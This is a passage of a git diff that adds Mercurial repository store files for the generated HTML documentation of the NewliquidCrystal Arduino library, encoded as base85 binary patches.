zBm^wh8ZwkUa57VBZ2Nlr<{{KQQ##{Kas!hq`~aeW6Kv>+MSjSI|Ksa3Xp)~b>|nxp zLfS5G9D?L`9GF6qg|av{86q>$?=jQwjryO_=p5=?4aM;Y>pW;?*?D0VU#xc&r(gA= zpyD|$WPc0e-wU&%@~|Y=({OAQpFj}^6&Vh*LN-Yy%RWWiM$|K?+i~lXcOGA(?wUx> z1Wi(Bv_*xMB!G&RbXi@kKQ3>TYc-76kOiLiHvkhI52M$aO+Nii{W$KCPX-XZMNAKzAroZbQ^meYb&I#_+^@@g-Wj--YQv8`>u|RZ ze-p9SGifHey)?-Uij~ydUZNrV&2yXt3t`nO?Map{3!Vp;weA8gyRdxmee6qbVeRcC z@Q)Us6_!&+;+Kk}F3nwzgVO@5wk2VQ{;630ir_;?=J?T_33KlB(PC6xm*3 z{Vaqv#w*LvUPp%F4Z-Wn(OE~1>^Z{gOR>9_6xHj!*Op{&9Z7zrD#Q%^LnPT>M-qH1 z$N2b%2-00gknDKI;a7G!g`gFVvHYrmmSYFioqZZWw(JeReNYA~q0qLy6v%2%2@oA} z(s&QJY<;%7@~WUH+}%|{ovgQn6*BQ1mja0~x90j7ONlpTZ_EJrVNfc7Bih<^EK z4wCS78WYeT*(04+yF)td%iTTRvuuDvZr0;)pzAxW&Yd`A6HhNG;P?M(Yh2) mLHUgGAw|}by{E_?@qsn1$k61LgbU9fW+9LM#{U6{z@0TP-lh@qq&eSUc~? z1GyX}L4LsuP+PB_3NZq@#?#ZqF{Fa=?cBSQ4l8i9E}i-DuY9Hcq5cKS-u1n_bSBZt zRO=Kw*S%@V^QSzX>U)4?nUBvBd6y%-eSeLGKhEF6IYTFAAGex;ZL4PZJx^P&koh0B zHE{YQ?3$=Ke@br9_uQ{3%c4Fzs-~$h@C2N9yW!nhw>2!1qJZ^`Yp zd%d5y(zgkB=Sj&QxofB7eB8xJQFhy%IbFN1{kMJ zmY>gwCTKb|dYVVB@Za239J$Hv*S0<87MB+Ui?wezy8F{>SzYr%mSwg+KcBFhRVY}y T6lkab1De6p)z4*}Q$iB}$9vhU literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..50bf0ae07af80b436c1ee3fa2ea4a62840fa0e65 GIT binary patch literal 2493 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 ByL|uv literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o.js.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o.js.i new file mode 100644 index 0000000000000000000000000000000000000000..59713a65e24d01f0e6c5f00cbbc1797cd3d532cd GIT binary patch literal 370 zcmZQzWME_f14bhT2Btj_HpABcP;j=v;pfYQR>2K3#aEsEvg&AdT6QT^4VbE!(|XC) z|F8oO+k?IPm9(;3{}j%5^6`-s5aQtp6}>yRRy8PNwaJ0|>fAgmP3gZcYTtgJnc+2G zZ~C`OWml$c%l1F}Hfwvkl0Wg2jO?`V zQz4t?_w~vw*JtQnb*|}&j|8L4nS=fHWtlY(LnM+ll$IWQnZ)Vs>AEOI`(t#>+k895 J?ME+|0RXS1rJw)+ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..ad5e18b68c27f15976b22d5ce5675b837dceaf4e GIT binary patch literal 1990 zcmV;%2RZlv0RRC20000000)Ku03|s900000006fC|NsC0|NsAX=n(tJVx_B*#dG0Z za*GF$&BM(A00000000000001Zob6g$a~d}ke)q3X)J_c@FN>3DC$WK<7RQaJcIs)! zw0-i3T>(n8(nivPX{Z0aN0+@3h>4r0(p&~~IY-iW&iQmCF?e$E%Xsp~?Mt*U8ArEo zf4sgLBOJx?Z_mbYd@;E|zrUK?T%*%oA59byni(bq;c@)(HAZ-0Onw%}tJSKvde)O_ z9#4La@2##=D;&N?rXkr&O^QcH12^D(#)TekQFHp@#S1U(`cjg@M@9`nwr@l~6l^)f zV<`+3CYr2sic#WALu}~1@xtfHf+$VR@a^O>dXD35N`8;t{t%62mJ`FKys78v8pu@l60I>(ln=2sYfkloQiG9!)rLjd4t6-5D3+UM%R90p zz7`{`k|BQgp`dErd#CYe5c`(>1k<(9G_l6ho6?Q>3bHhc(l0t?MK$}AK4QvYGAS|S z@zS3qIXXh<>rN_@A_JG`_7r&Ry2AuBzuH9*aIEgR>$74am8))#OOkf{3SUt+Ul?fL z4y~p{C5za9d{KZ~njeW)dv^aGvsodWvvs=YFJu9{^Qt@DbM*I4j8Y$h`=Ns@JaHhE zsZ7`Kk+LOXDRh!Ktl&u$p;RIv4Jgaxk|MKU8bPNM#0-M33749tXu3vW=qD(OntE(V z6IhbvFJtYG63V&GNy5Z@i2K-;bCRZ^3~&sLpACFb$SnZ4(K*K%`tJMu{@h_UFsU0N zSMnVMCgE%@aM?X5j5wWvP`~#b&Ab$h$~m`2Z#@T9Sq3E<8Hz zJ?r(s9?8h>h|e!9KCW(0*|p zorS1Kk+mYI$%!)F0Jh;LPtx8#ZFcsZ9`MU00r;KQ{V4Cz5D5V3OfH)!1v3W0))Kz7HJ=a- zUmMumR1jD2)Kyo404*#jZU{QR3_Y#CH`<_;W%H)mH2GoWBS#2?SiX}h$o9is}`#pq+-00ujP7PKW zZTgbyb(PIAno5;g2kEyR%k2)%ttu1R82ESrwKG@T=?Z0l4B~=&S}ggo%_L7-O!D+I zspJ!3@A<^1rw@mJ;+bNXnk!3L`{-FP;B5eKy-U-pvcq1a6jF(u^YTgfc9z;e-ha5= z1yY3eUaui|Bd|whi-JX}O#4vTT36vsLq;~=EN!=0ABA&ZSwfoHH{es!AQAO#T@GU#UntPC64((DOQMw=6D#2u;fcHGz6?i~UsM_m@rkUX$en zR^K^x!`^8*Gk5IiU2>NZZK!f4Jw7>xopvKDEY}D6OXzUO3w-X4G|)BVNRZP}1RED< zLo#=c(za`B=kRP0*z?hw!(+DuN0l(Xcu?$Tx-J>BGKOD0n<+^7TC4X;AjfrthdPa{ zmd*&&b+;nYB1k(-soEVhYhGPSmUjBU{I0pdl@;yzLv>p%-ZGS1iyx)2Dm$&g;8#~q$2ZQY+NW|m$d>r`Dl1sZoT?7eqd`8J*y95Hvmhrj%Q-a^ zSt3SqhB8k(XeO22pn?Xygr2Z z!BVEcSEO2p6NN(4c_O(4^L#by+rJg3SZ4xGfkQ`GA&iw9Oh;2XXTn_zWlU=bpg}wx zbqXfT^E-p!Bm$15yQl-s!~{%;i7&9;t~(-Zna{u0yi2jG_6L&fP<;+M0L}p+vxgJG zDefbXEO8tFI@_*_4*xl(cP}s{UJ`_}&OC_@dB-s5h zIlL`-5698e+%lnC0O^E7-3hA7DQT45R{)g*faD<*>@P#mxBn#|$~V%+RdsnQeMFr}X<84e&CBMTm__AmP~pm6B}?snm!LESEbYyfy}MpAxNx_*-MqlOpa@N#<;9&p0bK>Zt`^0D9kP^kGD>ILjuO3|CR61cBs+OKQU)aC3&~WZU6uP literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master.html.i new file mode 100644 index 0000000000000000000000000000000000000000..db2e2fc37bbbac9181e08dfc9839825863fe1f53 GIT binary patch literal 2740 zcmV;l3QP3>0RRC200000019*f04x>&00000006fC|NsC0|NsA3>dCm2yiiDzam=oc zRKN%o%STlJ00000000000001ZoV{9YbK5o&{+?ffvNspG6NxVpDbbcSb9Iu&b55E` zoJsGK2PBpfQ@*GGC|T{?f4>DtN~A4ElBJ$!JQM-!F7WK)!Ggf}hu6Pe-Tvp}8#0q= zLOy=^`R4kH7+ur++P^Z**SD|9Z|`p3-w?ZJky}nP5z9EwXkwagJ{ZK9NjX0^&E<00 zTlRZ7pPILy%zLHFR>IZKu53v5m}JJ}#aJ7>Pm@esZc$_VzF$h~wm=y^QjnCWwq5w6 zh!>Z}Rh~)6WcPM82ZMy=+od7lUY5ca;f!(t^76~=+wRCPw<-Cp`{iHVt2~`k83##I z&-I&2eYRMeBYEvyy{AF~Cszp-f_#DqIAkG=%~JlwIEl00$&5pUqoRT6g+dsFLvm>dxk^CH z0Hi@Aj=vhVYM?qGLLSd$v*sIJ(6ZDZf`^yJw?7KttKK(ZOvYwev!5VaWdcIwPVrE> z(cg?NBnLQYmpO>|Pk2U`tIjYg>GP!zlAOFCdl5#qyIH1jSH0 zyU=ZxamMoHSue>c>y#sW2k~?!v3@(W0w@n>X8AZNz%9+sM62Dq<1vehOb1)%jQm9u zfOn6T9QQ?05>LfuivxKA6Q*lFww+TTLF(DGA6$$I*mhebM=}q z9xsp!D{E^}BtxbEFeNV^m48f)q57d4Y7arii1H$;nNu!H2dIi)O4=^{)8^~4(T=!W zP=sGc-Ou?wxg;5a^tpcT80#wI6{%i~R}oDFyn0zSd)W%q1|G;QJYU-Ae6>VdA!C!`KMHPi)at{6DB8Lh^G~96htvjwwCZ)Rq`Ft>SqI+_iKpP@N9~%Gm5mZ0HYzO*ra% z?3_KRqL4c^yo(uZ(LfUvRcziIS2i!2p=&fp`8I}x8Dv3|0;|h1gU~PpA%2Gy7H#Qe zgcK|;jmLe{+TN<#j^qWL8RW5WkQ97}tezTMg|SP;{7LDn8O^59frVNg9-vSKRx<>+ zBFa__U_07G=Sq>bQHAVg#-DHO>lV0V7l{;K^-7IinLLao-Re4>8YIX$QvqVN152+C zI;_?%RCD0*05-wA=1%=mPmr-$Bqc4@{Mcp^r^O`BfmHIHXFtI zC~F@*vlw|B0bD($>0RAmFH)*fi6{H@9@Ij%ouwWiUq1Bef+<3Ktrs|XyXcR#FN(O! z>$H#5wVNX2p(DF0->iN2u)JICJjBL_%_d@%g=@q5WzvYH#=812fW$nBWkC5lb?Bz~ zpIziD-W8gY&a*s&i_Ns%GPo|zP*xA93DnLd_IrunUn=eUKo_?-`p!#j_DMnNf z!n;&&qO?n2zIur(?Srha9v|wjp);zypv=9AK)S{p33ECixNxa0Sw7c+()Md>Ze~_JA&NA`^iqk} ztnlN!2)ek(pXChIek_n5LsBvUd0R7v;sTZaI)jTBZI*i!iKt7nNJTP=GD#jG?&=2OX$`0<+wtWb!45B=wf0tSI}*AWX_S-s~R63Q`L0 zIl^3RUoZl3nHkTVy3Lg5#k_`pTz@%ffvnfQCy|~x6P@*!Ie)`Cb}N>Uo>K^62$n+! zbYL@TMPX<$e-L_s=MGsk466RErLIxxMkRzqZ;tBJK&3_cwcO;&h`RXu zTyrQ~$G9f!`=NtgcdfqX51o+u;6-%kk8Gd0%!gCDW)EA+H5Fvf^iBZNIMYW2X)FZt zc-v2uG0Z9UaKfR$9OHzcZwCbfI?(cv@ zK{>_&5QQG|T#NdF>qcSU?nky|hrSgBYWcEHx{U9(b-V*0V~^oioVUlSeIOP`v5yPR zFbdSXVgnx>N^Q#>IF|26U`4ifQuf(x>v-Ik90%57oIRN4KoE`r++nDYy3BJ1-~^71 zX_({q!4LvW(t`d;1APx$N3O(=(I!8wm)zaJ9}31Xz(@WNe9X3d%(K98`)pwM!Ht4p zWcxV1PMV+YVe53jBiOrTZ7@qiChQ$ z%_27(1(-MCj*X56zU_OIo)Z2&Y@Gsr${yez{=OUYLvc7NP47E)$b4o6BXn>W^_{-w z`O1nj8Vy-^(lmXyty5yYM_zv5;EzfZ?Gg0*Fp5TYU`5`bKeU)$Li!%KwtLz%aks70 z0DVK%k>P$|9}2+UV6ShB%(ywZodKy2o2dHcOro5Z7kad6vZR7c*H=a&WXAGnC{L2| zs6^jxI3KG6L3O}rei6Wh8KpE)_fBF)&DWKFVKP`ilF!wPnF0?B9@B(ynCHU${MGyb z%cObT#@zS|lKN=+(HXIPN@z?8d`FFC*>h9#-b5X;M0 z`XIbI2i@F$L0ynQ+MFpHYnw3)#qa$qLU%30l5N>y>@*k*HW+NTQi5zr zTOdhUzI6Ndr}nZ#0_nPaM;rg%$J5jMDTmeE%CfANdq1u>xSs2sEJr)6-d^2at>U{~ zU4MzY5BToW)5Z18>iYbX*WZu3?JLm=l{F)ZYccRSg&M=mwKmep0oXrmx2wCGm+@^{ zvxHKlfJzE}QZADQ)u!IYzw)(^;>ePwDQGpW9SfD3se?|yQ~t1ToBh{=?3dkUSvL3k ziyAZY#6Z@Ri5pH~BbUYNRl4?X{5LRGTB@h2BocW-_J1On4S D{wxwW literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/classes.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/classes.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6b7d5315c40b1dec6b453318ec820d88a0dee227 GIT binary patch literal 4900 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 